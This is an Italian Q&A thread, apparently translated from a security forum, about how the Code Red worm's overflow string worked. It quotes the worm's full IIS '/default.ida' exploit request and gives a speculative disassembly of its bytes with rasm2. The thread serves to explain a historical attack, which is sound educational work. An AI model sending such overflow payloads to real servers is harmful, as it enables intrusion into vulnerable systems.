Come funzionava il worm Code Red?

5

Quindi ho letto un po 'del worm Code Red, e ho capito il senso, ma la stringa di overflow non ha senso per me.

Da questo sito, si dice che la stringa di overflow utilizzata dal worm era

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Tutte le 'N' sono probabilmente solo per l'overflow del buffer, ma cosa significano le lettere e i segni%? Se fa alcuna differenza, non conosco alcun linguaggio C né ASP.NET

    
posta YazanLpizra 06.08.2015 - 19:21
fonte

1 risposta

5

Sto solo speculando, ma sì le N sono per il buffer overflow iniziale. Noterai che %u9090%u6858%ucbd3%u7801 viene ripetuto più e più volte. Questi sono 8 byte di valori Unicode in esadecimale.

%u9090 è molto probabilmente un'istruzione macchina NOP (nessuna operazione). In esadecimale per Intel x86, questa istruzione è un byte, 0x90 . Quindi ripete questi 8 byte 3 volte. Lo scopo che sto indovinando è quello di sovrascrivere l'indirizzo di ritorno con il suo indirizzo.

Quindi hai %u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 . Che mi sembra che questo è il codice shell necessario per ottenere l'esecuzione. Se rimuovi l'unicode designatore %u ottieni un flusso di istruzioni. Usando radare2 puoi eseguire il seguente comando su 90909090819000c300038b00531b53ff00780000

rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
push ebx
inc dword [eax]
js 0x13
.byte 0x00 1

Ora potrei sbagliarmi riguardo ai primi 3 valori ripetuti. Forse fanno parte dello shellcode. Quindi lascia solo eseguire lo stesso comando sulla stringa di byte completa:

$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1

Per saperne di più su come funzionano gli overflow del buffer; controlla Perché i buffer overflow vengono eseguiti nella direzione in cui sono? e Implicazioni di sicurezza nel trascurare il byte NULL finale

    
risposta data 06.08.2015 - 19:38
fonte

Leggi altre domande sui tag